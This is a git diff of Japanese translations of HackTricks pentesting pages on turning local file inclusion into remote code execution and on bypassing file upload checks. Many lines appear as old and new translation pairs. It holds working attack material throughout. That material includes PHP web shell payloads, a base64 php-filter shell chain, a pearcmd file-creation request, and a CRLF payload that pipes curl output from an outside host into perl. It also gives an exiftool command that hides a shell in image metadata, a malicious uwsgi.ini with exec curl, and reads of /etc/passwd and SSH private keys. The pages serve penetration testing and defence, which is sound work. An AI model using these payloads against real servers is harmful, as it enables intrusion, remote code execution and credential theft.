ファイルをアップロードできる場合は、シェルのペイロードをそのファイルに注入してください（例： `<?php system($_GET['c']); ?>` ）。
```
http://example.com/index.php?page=path/to/uploaded/file.png
```
ファイルの可読性を保つためには、画像、doc、pdfのメタデータに注入するのが最良です
ファイルを可読な状態に保つため、画像/ドキュメント/pdf のメタデータに注入するのが最良です
### Zip file アップロード経由
### ZIPファイルアップロード経由
PHP shell を含む圧縮されたZIPファイルをアップロードし、アクセス:
圧縮されたPHP shellを含むZIPファイルをアップロードしてアクセス：
```python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
```
@ -541,72 +541,72 @@ PHPでは、これらのセッションは _/var/lib/php5/sess\\_\[PHPSESSID]\_
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
```
cookie を `<?php system('cat /etc/passwd');?>` に設定してください
Cookie を `<?php system('cat /etc/passwd');?>` に設定してください
```
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
```
LFIを使ってPHPのセッションファイルを読み込む
LFIを使ってPHP session fileを含める
```
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
```
### ssh 経由
### ssh経由
ssh が有効な場合、どのユーザが使われているかを確認してください (/proc/self/status & /etc/passwd) と、**\<HOME>/.ssh/id_rsa** にアクセスを試みます。
sshが有効な場合、どのユーザが使われているかを確認する（/proc/self/status & /etc/passwd）し、**\<HOME>/.ssh/id_rsa** にアクセスを試みる。
### **経由** **vsftpd** _**ログ**_
FTP サーバ vsftpd のログは _**/var/log/vsftpd.log**_ にあります。Local File Inclusion (LFI) 脆弱性が存在し、公開された vsftpd サーバにアクセスできる場合、次の手順を検討できます:
The logs for the FTP server vsftpd are located at _**/var/log/vsftpd.log**_. In the scenario where a Local File Inclusion (LFI) vulnerability exists, and access to an exposed vsftpd server is possible, the following steps can be considered:
1. ログイン時の username フィールドに PHP ペイロードを注入する。
2. 注入後、LFI を使ってサーバログ _**/var/log/vsftpd.log**_ を取得する。
1. ログイン時にユーザー名フィールドに PHP ペイロードを注入する。
2. 注入後、LFI を利用して _**/var/log/vsftpd.log**_ からサーバログを取得する。
### php base64 filter 経由 (using base64)
### php base64 filter経由（base64を使用）
この[記事](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64)が示すように、PHP の base64 filter は Non-base64 を無視します。これを利用してファイル拡張子チェックをバイパスできます: base64 を ".php" で終わらせると、"." を無視して "php" を base64 に追加します。以下は例のペイロードです:
As shown in [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article, PHP base64 filter just ignore Non-base64.You can use that to bypass the file extension check: if you supply base64 that ends with ".php", and it would just ignore the "." and append "php" to the base64. Here is an example payload:
```url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
### php filters 経由（ファイル不要）
### php filters を使って（ファイル不要）
この [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) は、**php filters を使用して任意のコンテンツを出力**できることを説明しています。これは基本的に、include のために **任意の php コードを生成**でき、**ファイルに書き込む必要がない**ことを意味します。
この [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) は、**php filters を使って任意のコンテンツを生成して出力する**方法を説明しています。つまり、ファイルに書き込むことなく include のために**任意の php code を生成**できる、ということです。
{{#ref}}
lfi2rce-via-php-filters.md
{{#endref}}
### segmentation fault 経由
### segmentation fault を使って
ファイルを **アップロード** すると `/tmp` に **一時的** に保存されます。次に **同一リクエスト内で** segmentation fault を発生させると、**一時ファイルが削除されず** に残るため、探すことができます。
**Upload** したファイルは `/tmp` に **temporary** として保存され、**同一リクエスト内**で **segmentation fault** を発生させると、**一時ファイルは削除されない** ため探すことができます。
{{#ref}}
lfi2rce-via-segmentation-fault.md
{{#endref}}
### Nginx の一時ファイル保存を利用
### Nginx の一時ファイル保存を介して
もし **Local File Inclusion** を見つけ、PHP の前段に **Nginx** が動作している場合、次の手法で RCE を得られる可能性があります:
もし **Local File Inclusion** を見つけ、**Nginx** が PHP の前段で動作している場合、以下の手法で RCE を得られるかもしれません：
{{#ref}}
lfi2rce-via-nginx-temp-files.md
{{#endref}}
### PHP_SESSION_UPLOAD_PROGRESS を利用して
### PHP_SESSION_UPLOAD_PROGRESS を使って
session を持っていない場合や `session.auto_start` が `Off` の場合でも **Local File Inclusion** を見つけたら、multipart POST データで **`PHP_SESSION_UPLOAD_PROGRESS`** を提供すると、PHP が自動的にセッションを有効化します。これを悪用して RCE を得ることができます:
もし **Local File Inclusion** を見つけたが **セッションを持っていない**、そして `session.auto_start` が `Off` の場合でも、**multipart POST** データに **`PHP_SESSION_UPLOAD_PROGRESS`** を含めると、PHP が **セッションを有効化** します。これを悪用して RCE を得ることができます：
{{#ref}}
via-php_session_upload_progress.md
{{#endref}}
### Windows の一時ファイルアップロードを利用して
### Windows の一時ファイルアップロードを使って
もし **Local File Inclusion** を見つけ、サーバが **Windows** 上で動作しているなら、RCE を得られる可能性があります:
もし **Local File Inclusion** を見つけ、サーバが **Windows** 上で動作していれば RCE を得られる可能性があります：
{{#ref}}
@ -617,47 +617,47 @@ lfi2rce-via-temp-file-uploads.md
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), the script `/usr/local/lib/phppearcmd.php` exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an `=`, it should be used as an argument. See also [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) and [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
The following request create a file in `/tmp/hello.php` with the content `<?=phpinfo()?>`:
次のリクエストは `/tmp/hello.php` を作成し、その内容を `<?=phpinfo()?>` にします：
```bash
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
```
以下は CRLF vuln を悪用して RCE を取得する例です (出典: [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
以下は CRLF vuln を悪用して RCE を取得する例です (from [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
```
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
```
### Via phpinfo() (file_uploads = on)
### 経由 phpinfo() (file_uploads = on)
もし**Local File Inclusion**を見つけ、かつ**phpinfo()**を公開していて file_uploads = on のファイルがあれば、RCEを得られる可能性があります:
もし**Local File Inclusion**を発見し、**phpinfo()**が file_uploads = on で公開されているファイルがあれば、RCE を得られます:
{{#ref}}
lfi2rce-via-phpinfo.md
{{#endref}}
### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
### 経由 compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
もし**Local File Inclusion**を見つけ、一時ファイルの**pathをexfiltrateできる**が、**server**が含めるファイルにPHPのマークがあるかを**checking**している場合、この**Race Condition**でそのチェックを**bypass**できることがあります：
もし**Local File Inclusion**を発見し、テンポラリファイルのパスを**can exfiltrate the path**できるが、**server**が**checking**していて**file to be included has PHP marks**かどうか確認している場合は、この**Race Condition**でその**bypass that check**を試すことができます:
{{#ref}}
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
{{#endref}}
### Via eternal waiting + bruteforce
### 経由 eternal waiting + bruteforce
もしLFIを悪用して**upload temporary files**させ、サーバー側でPHP実行を**hang**させられるなら、数時間にわたって**brute force filenames during hours**して一時ファイルを見つけることができます：
もし LFI を悪用して**upload temporary files**ができ、サーバーの PHP 実行を**hang**させられるなら、何時間もかけて**brute force filenames during hours**することでテンポラリファイルを見つけられる可能性があります:
{{#ref}}
lfi2rce-via-eternal-waiting.md
{{#endref}}
### To Fatal Error
### Fatal Error による
もし `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar` のいずれかを含めると（同じものを2回含める必要があります）そのエラーが発生します。
もし `/usr/bin/phar`、`/usr/bin/phar7`、`/usr/bin/phar.phar7`、`/usr/bin/phar.phar` のいずれかを含めると（そのエラーを発生させるには同じファイルを2回含める必要があります）。
**I don't know how is this useful but it might be.**\
_Even if you cause a PHP Fatal Error, PHP temporary files uploaded are deleted._

36
src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md
View File

@ -3,35 +3,35 @@
{{#include ../../banners/hacktricks-training.md}}
## はじめに
## イントロ
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explains that you can use **php filters to generate arbitrary content** as output. つまり、includeのために**generate arbitrary php code** をファイルに書き込むことなく生成できる、ということです。
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)は、**php filtersを使って任意のコンテンツを生成**して出力できることを説明しています。つまり、ファイルに書き込むことなく`include`用の**任意のphpコードを生成**できるということです。
基本的には、このスクリプトの目的はファイルの先頭に**generate a Base64**文字列を置き、最終的に**finally decoded**して望むペイロードを得て、それが**interpreted by `include`**されることです。
このスクリプトの目的は、ファイルの**先頭**に**Base64**文字列を生成し、それを**最終的にデコード**して目的のペイロードを提供し、`include`によって解釈されるようにすることです。
これを行うための基本は:
これを行うための基本は次のとおりです:
- `convert.iconv.UTF8.CSISO2022KR` は常に文字列の先頭に `\x1b$)C` を付加します
- `convert.base64-decode` は非常に寛容で、基本的に有効なbase64でない文字は無視します。予期しない "=" を見つけると問題を起こすことがありますが、それらは `convert.iconv.UTF8.UTF7` フィルタで取り除けます。
- `convert.base64-decode` は非常に寛容で、有効な base64 でない文字は基本的に無視します。予期しない "=" を見つけると問題を起こすことがありますが、これらは `convert.iconv.UTF8.UTF7` フィルタで除去できます。
任意のコンテンツを生成するループは次の通りです:
The loop to generate arbitrary content is:
1. 上記のように、文字列の先頭に `\x1b$)C` を付加する
2. 初期のbase64をそのままに保ち、先ほど付加した部分を変換して、そこに含まれる有効なbase64文字が次に挿入したいbase64エンコードされたphpコードの次の部分だけになるようにする一連のiconv変換を適用する
3. 文字列をbase64-decodeしてからbase64-encodeすることで、間にある不要なゴミを除去する
4. 構築したいbase64がまだ完成していなければ、1に戻る
5. 最後にbase64-decodeしてphpコードを得る
1. 先述のように文字列の先頭に `\x1b$)C` を付加する
2. 最初の base64 を保持し、先ほど付加した部分を次の base64 エンコードされた php コードの一部だけが有効な base64 文字になるような文字列に変換するような iconv 変換チェーンを適用する
3. 文字列を base64-decode してから base64-encode し、中間のゴミを取り除く
4. 作成したい base64 がまだ完成していなければ 1 に戻る
5. php コードを得るために base64-decode する
> [!WARNING]
> **Includes** usually do things like **appending ".php" at the end** of the file, which could diffecult the exploitation of this because you would need to find a .php file with a content that does't kill the exploit... or you **could just use `php://temp` as resource** because it can **have anything appended in the name** (lie +".php") and it will still allow the exploit to work!
> **Includes** は通常ファイル名の末尾に **".php" を追加**するなどの処理を行います。これは exploit の難易度を上げる可能性があり、exploit を壊さない内容の .php ファイルを見つける必要が出てくることがあります... あるいは `php://temp` を resource として使うだけでよく、これは名前に何かを追加しても（例: lie + ".php"）それでも exploit が機能します！
## 生成したデータにサフィックスを追加する方法
## 出力データにサフィックスを追加する方法
[**This writeup explains**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) how you can still abuse PHP filters to add suffixes to the resulting string. 出力を特定のフォーマット（json のような、あるいは PNG のマジックバイトを追加するような）にする必要がある場合に便利です。
[**This writeup explains**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) は、PHP filters を使って結果の文字列にサフィックスを追加する方法を説明しています。出力を特定の形式（例えば json や PNG のマジックバイトを追加するなど）にする必要がある場合に便利です。
## 自動ツール
- [https://github.com/synacktiv/php_filter_chain_generator](https://github.com/synacktiv/php_filter_chain_generator)
- https://github.com/synacktiv/php_filter_chain_generator
- [**https://github.com/ambionics/wrapwrap**](https://github.com/ambionics/wrapwrap) **(can add suffixes)**
## フルスクリプト
@ -94,9 +94,9 @@ r = requests.get(url, params={
print(r.text)
```
### Improvements
### 改善点
以前のスクリプトは、そのペイロードに必要な base64 文字だけに限定されていました。したがって、私は独自のスクリプトを作成して **bruteforce all the base64 characters**:
前のスクリプトは、そのペイロードに必要な base64 文字に限定されていました。そこで、私は**bruteforce all the base64 characters**する自作スクリプトを作成しました：
```php
conversions = {
'0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
@ -165,7 +165,7 @@ conversions = {
'=': ''
}
```
各 b64 文字を生成するエンコーディングを取得するための**script**は次のとおりです：
各 b64 文字を生成するエンコーディングを取得するための **script** はこちらです:
```php
<?php

175
src/pentesting-web/file-upload/README.md
View File

@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
## ファイルアップロードの一般的な方法
## File Upload General Methodology
Other useful extensions:
@ -15,38 +15,38 @@ Other useful extensions:
- **Perl**: _.pl, .cgi_
- **Erlang Yaws Web Server**: _.yaws_
### ファイル拡張子チェックのバイパス
### Bypass file extensions checks
1. 該当する場合は、前述の拡張子をチェックしてください。また大文字を使ってテストすることも有効です: _pHp, .pHP5, .PhAr ..._
2. 実行拡張子の前に有効な拡張子を追加してみる（前述の拡張子も使用）:
- _file.png.php_
1. 該当する場合、前述の拡張子をチェックする。大文字を使っても試す: _pHp, .pHP5, .PhAr ..._
2. _実行拡張子の前に有効な拡張子を追加してみる（前述の拡張子も利用）:_
- _file.png.php_
- _file.png.Php5_
3. 末尾に特殊文字を付けてみる。Burp を使って ascii と Unicode の文字を総当たりすることもできます。 (_前述の拡張子を試すこともできます_)
- _file.php%20_
- _file.php%0a_
- _file.php%00_
- _file.php%0d%0a_
- _file.php/_
- _file.php.\\_
- _file._
- _file.php...._
3. ファイル名の末尾に特殊文字を追加してみる。Burp を使って全ての ascii と Unicode 文字をブルートフォースすることもできる。(_前述の拡張子も使えることに注意_)
- _file.php%20_
- _file.php%0a_
- _file.php%00_
- _file.php%0d%0a_
- _file.php/_
- _file.php.\\_
- _file._
- _file.php...._
- _file.pHp5...._
4. サーバ側の拡張子パーサを騙して保護を回避する（拡張子の二重化や拡張子間にゴミデータ（null バイト）を挿入するなど）。_より良いペイロードのために前述の拡張子を使うこともできます。_
- _file.png.php_
- _file.png.pHp5_
- _file.php#.png_
- _file.php%00.png_
- _file.php\x00.png_
- _file.php%0a.png_
- _file.php%0d%0a.png_
4. サーバー側の拡張子パーサーを騙すことで保護を回避する。拡張子を二重にする、拡張子の間に junk データ（null バイト）を入れる等の手法が有効。_より良いペイロードを作るために前述の拡張子も併用できる。_
- _file.png.php_
- _file.png.pHp5_
- _file.php#.png_
- _file.php%00.png_
- _file.php\x00.png_
- _file.php%0a.png_
- _file.php%0d%0a.png_
- _file.phpJunk123png_
5. 前述のチェックにさらに拡張子のレイヤを追加する:
- _file.png.jpg.php_
5. 前述のチェックにさらに別の拡張子レイヤーを追加する:
- _file.png.jpg.php_
- _file.php%00.png%00.jpg_
6. 実行拡張子を有効な拡張子の前に置いて、サーバが誤設定されていることを祈る（Apache の誤設定を突く際に、拡張子に .php が含まれていれば実行されるが、必ずしも .php で終わらない場合でもコードが実行されることがある）:
6. 実行拡張子を有効な拡張子の前に置いて、サーバーの誤設定に賭ける（Apache の誤設定で .php を含むものは必ずしも .php で終わっていなくても実行される場合がある）:
- _ex: file.php.png_
7. Windows の **NTFS alternate data stream (ADS)** を利用する。禁じられた拡張子の後にコロン ":" を挿入し、許可された拡張子の前に置くと、サーバ上に**空のファイル（禁じられた拡張子）**が作成されます（例: "file.asax:.jpg"）。このファイルは後で短いファイル名などを使って編集できる場合があります。 "**::$data**" パターンを使って非空のファイルを作成することも可能です。したがって、このパターンの後にドットを付けることでさらに制限を回避できる場合があります（例: "file.asp::$data."）。
8. ファイル名の長さ制限を突いて拡張子を切り捨てさせる。正当な拡張子が切れてしまい、悪意ある PHP が残る。AAA<--SNIP-->AAA.php
7. **Windows** の **NTFS alternate data stream (ADS)** を使用する手法。禁止された拡張子の後にコロン ":" を挿入し、許可された拡張子の前に置く。結果として、サーバー上に**禁止拡張子だけの空ファイル**が作成される（例: "file.asax:.jpg"）。このファイルは後で short filename などを用いて編集される可能性がある。"**::$data**" パターンを使って非空のファイルを作成することもできるため、このパターンの後にドットを付けることでさらなる制限を回避できることがある（例: "file.asp::$data."）。
8. ファイル名の長さ制限を破ってみる。有効な拡張子が切り落とされ、悪意ある PHP が残る。AAA<--SNIP-->AAA.php
```
# Linux maximum 255 bytes
@ -59,56 +59,56 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAA<--SNIP 232 A-->AAA.php.png
```
### Content-Type, Magic Number, 圧縮 & リサイズのバイパス
### Bypass Content-Type, Magic Number, Compression & Resizing
- Content-Type チェックは Content-Type ヘッダの値を次のように設定して回避できます: _image/png_, _text/plain_, application/octet-stream
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- magic number チェックは、ファイルの先頭に本物の画像のバイト列を追加して回避できます（file コマンドを混乱させる）。あるいはシェルをメタデータ内に埋め込むことも可能です:\
- Content-Type チェックは、リクエストヘッダの Content-Type を次のように設定して回避することができる: _image/png_ , _text/plain , application/octet-stream_
1. Content-Type の wordlist: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- magic number チェックは、ファイルの先頭に実際の画像のバイトを追加して（file コマンドを混乱させる）、あるいはメタデータ内にシェルを埋め込むことで回避できる:\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
またはペイロードを直接画像に挿入することもできます:\
`\` または画像内に直接ペイロードを挿入することも可能:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
- 画像に対して圧縮が行われる場合（たとえば PHP-GD のようなライブラリを使っている場合）、上記の手法は有効でないことがあります。その場合は **PLTE chunk** を使った [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) といった方法で、圧縮に耐えるテキストを挿入できます。
- もし画像に対して圧縮が行われる場合（例えば PHP-GD のような標準的な PHP ライブラリを使っている場合）、前述の手法は有効でないことがある。しかし、**PLTE chunk** を使う [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) により圧縮後も残るテキストを挿入できる。
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- ウェブページが画像をリサイズしている場合（例えば PHP-GD の `imagecopyresized` や `imagecopyresampled` を使用）、先の手法は効かないことがありますが、**IDAT chunk** を使った [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) で圧縮に耐えるテキストを挿入できます。
- Web ページが画像を **リサイズ**（例えば PHP-GD の `imagecopyresized` や `imagecopyresampled` を使用）している場合でも、**IDAT chunk** を使う [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) により圧縮後も残るデータを挿入できる。
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- PHP-GD の `thumbnailImage` 関数などでリサイズされる場合でも生き残るペイロードを作る別の手法として、**tEXt chunk** を使った [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) が有効です。
- PHP-GD の `thumbnailImage` を使ったリサイズでも生き残るペイロードを作る別の手法がある。**tEXt chunk** を使う [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) により、圧縮後も残るテキストを挿入できる。
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
### その他のチェックポイント
### Other Tricks to check
- アップロード済みファイルの名前を変更できる脆弱性を見つける（拡張子を変更するため）。
- Local File Inclusion の脆弱性を見つけてバックドアを実行する。
- **情報漏洩の可能性**:
1. 同じファイルを複数回（かつ同時に）アップロードする
2. 既に存在するファイルやフォルダと同じ名前のファイルをアップロードする
3. ファイル名を "."、".."、あるいは "..." のようにしてアップロードする。例えば、Apache on Windows でアプリケーションが "/www/uploads/" にアップロードを保存する場合、"." というファイル名は "/www/" に "uploads" というファイルを作成してしまうことがある。
4. NTFS で削除しにくい名前（例: "…:.jpg"）を付けてアップロードする（Windows）
5. ファイル名に `|<>*?”` のような無効文字を含むファイルを Windows にアップロードする（Windows）
6. CON, PRN, AUX, NUL, COM1...などの予約済み（禁止）名を使って Windows にファイルをアップロードする
- 実行ファイル（.exe）や、開いたときにコードが実行される可能性のある .html（あまり疑われない）をアップロードすることも検討する。
- アップロード済みファイルを **rename** できる脆弱性を見つける（拡張子を変更するため）。
- Local File Inclusion 脆弱性を見つけてバックドアを実行する。
- **可能な情報漏洩**:
1. 同じ名前のファイルを **複数回**（かつ同時に）アップロードする。
2. 既に存在する **ファイル** または **フォルダ** と同名のファイルをアップロードする。
3. 名前が ".”, "..”, または "…” のファイルをアップロードする。例えば Windows 上の Apache では、アプリケーションがアップロードファイルを "/www/uploads/" に保存すると、"." というファイル名は "/www/" に "uploads" というファイルを作成することがある。
4. NTFS のように削除が難しいファイル名（例: "…:.jpg"）をアップロードする。（Windows）
5. Windows で `|<>*?”` のような無効文字を名前に含むファイルをアップロードする。（Windows）
6. CON, PRN, AUX, NUL, COM1 ... LPT9 のような予約済み（禁止）名を使って Windows にファイルをアップロードする。
- 実行可能ファイル（.exe）や開かれたときにコードを実行する .html（あまり怪しまれない）をアップロードすることも試す。
### 特殊な拡張子のトリック
### Special extension tricks
If you are trying to upload files to a **PHP server**, [take a look at the **.htaccess** trick to execute code](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
If you are trying to upload files to an **ASP server**, [take a look at the **.config** trick to execute code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
PHP サーバーにアップロードする場合は、[.htaccess を使ってコードを実行するトリック](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution) を参照すること。\
ASP サーバーにアップロードする場合は、[.config を使ってコードを実行するトリック](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files) を参照すること。
`.phar` ファイルは Java の `.jar` に似ていますが PHP 用で、php として実行したりスクリプト内で include したりすることができます。
`.phar` ファイルは java の `.jar` に似ているが php 向けで、php で実行したりスクリプト内で include することで **php ファイルのように利用**できる。
`.inc` 拡張子はインクルード用の php ファイルとして使われることがあり、その結果、この拡張子が実行可能として扱われていることがあるため注意が必要です。
`.inc` 拡張子はインポート用の php ファイルに使われることがあり、結果としてこの拡張子が実行可能になっている場合がある。
## **Jetty RCE**
If you can upload a XML file into a Jetty server you can obtain [RCE because **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** As mentioned in the image below, upload the XML file to `$JETTY_BASE/webapps/` and expect the shell!
Jetty サーバーに XML ファイルをアップロードできる場合、[新しい \*.xml と \*.war が自動的に処理されるため RCE を得られる](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**。** つまり、以下の画像に示されているように、XML ファイルを `$JETTY_BASE/webapps/` にアップロードすればシェルが得られる可能性がある。
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>)
## **uWSGI RCE**
For a detailed exploration of this vulnerability check the original research: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
この脆弱性の詳細な調査については、オリジナルの調査を参照すること: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)。
Remote Command Execution (RCE) 脆弱性は、`.ini` 設定ファイルを変更できる場合に uWSGI サーバで悪用され得ます。uWSGI の設定ファイルは、"magic" 変数、プレースホルダ、演算子を取り扱う特定の構文を利用します。特に '@' 演算子（`@(filename)` の形で使用）はファイルの内容を含めるために設計されています。uWSGI がサポートする各種スキームの中で、"exec" スキームは特に強力で、プロセスの標準出力からデータを読み取ることを許します。この機能は、`.ini` 設定ファイルが処理される際に Remote Command Execution や Arbitrary File Write/Read のような悪用に使われ得ます。
Remote Command Execution (RCE) 脆弱性は、`.ini` 設定ファイルを変更できる権限がある場合に uWSGI サーバーで悪用され得る。uWSGI の設定ファイルは特定の構文を用いて "magic" な変数、プレースホルダ、演算子を組み込める。特に `@(filename)` として使われる '@' 演算子はファイルの内容を include するためのものとして設計されている。uWSGI がサポートするスキームの中で、"exec" スキームは特に強力で、プロセスの標準出力からデータを読み取ることを可能にする。この機能は、`.ini` 設定ファイルが処理される際に Remote Command Execution や Arbitrary File Write/Read のような悪用につながる可能性がある。
以下は、さまざまなスキームを示した悪意ある `uwsgi.ini` ファイルの例です:
以下は有害な `uwsgi.ini` ファイルの例で、様々なスキームを示している:
```ini
[uwsgi]
; read from a symbol
@ -126,14 +126,15 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
```
ペイロードの実行は、設定ファイルのパース時に発生します。設定が有効化されパースされるためには、uWSGI プロセスを再起動する（クラッシュ後や Denial of Service attack による可能性がある）か、ファイルを auto-reload に設定しておく必要があります。auto-reload 機能が有効な場合、変更を検知すると指定された間隔でファイルをリロードします。
ペイロードの実行は設定ファイルの解析時に発生します。設定が有効化され解析されるためには、uWSGIプロセスを再起動する必要があります（クラッシュ後やDenial of Service attackのために再起動される場合を含みます）、またはファイルをauto-reloadに設定しておく必要があります。auto-reload機能が有効になっている場合、変更を検出すると指定した間隔でファイルを再読み込みします。
uWSGI の設定ファイルのパースが緩いことを理解することが重要です。具体的には、ここで扱っているペイロードはバイナリファイル（画像や PDF など）に挿入することができ、潜在的な悪用の範囲をさらに拡大します。
uWSGIの設定ファイルの解析が緩い点を理解することが重要です。具体的には、ここで述べたペイロードはバイナリファイル（画像やPDFなど）に埋め込むことが可能であり、悪用の範囲がさらに広がります。
## **wget File Upload/SSRF Trick**
場合によっては、サーバが **`wget`** を使って **ファイルをダウンロード** し、**URL** を **指定** できることがあります。こうしたケースでは、ダウンロードされるファイルの拡張子がホワイトリストに含まれているかをコード側でチェックし、許可されたファイルのみがダウンロードされるようにしていることがあります。しかし、**このチェックはバイパス可能です。**\
**linux** における **ファイル名** の **最大** 長は **255** ですが、**wget** はファイル名を **236** 文字に切り詰めます。ファイル名を **"A"\*232+".php"+".gif"** としてダウンロードすると、このファイル名は（この例では **".gif"** が有効な拡張子であるため）チェックを**バイパス**しますが、`wget` はファイル名を **"A"\*232+".php"** に**リネーム**します。
場合によっては、サーバが**`wget`**で**ファイルをダウンロード**しており、あなたが**URL**を**指定**できることがあります。その場合、コードがダウンロードしたファイルの拡張子がwhitelistに含まれているかを検査し、許可されたファイルのみがダウンロードされることを保証していることがあります。**ただし、このチェックはバイパス可能です。**
linuxにおけるファイル名の最大長は255ですが、**wget**はファイル名を236文字に切り詰めます。例えば、**"A"\*232+".php"+".gif"** というファイル名でダウンロードさせることができ、このファイル名は**チェックをバイパス**します（この例では **".gif"** が**有効な**拡張子です）が、`wget` はファイル名を **"A"\*232+".php"** に**rename**します。
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@ -158,13 +159,13 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
```
Note that **another option** you may be thinking of to bypass this check is to make the **HTTP server redirect to a different file**, so the initial URL will bypass the check by then wget will download the redirected file with the new name. This **won't work** **unless** wget is being used with the **parameter** `--trust-server-names` because **wget will download the redirected page with the name of the file indicated in the original URL**.
## ツール
## Tools
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) は、Pentesters や Bug Hunters がファイルアップロード機構のテストを行うのを支援するために設計された強力なツールです。さまざまな bug bounty techniques を活用して脆弱性の特定と悪用を簡素化し、web アプリケーションの徹底的な評価を支援します。
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) is a powerful tool designed to assist Pentesters and Bug Hunters in testing file upload mechanisms. It leverages various bug bounty techniques to simplify the process of identifying and exploiting vulnerabilities, ensuring thorough assessments of web applications.
### Corrupting upload indices with snprintf quirks (historical)
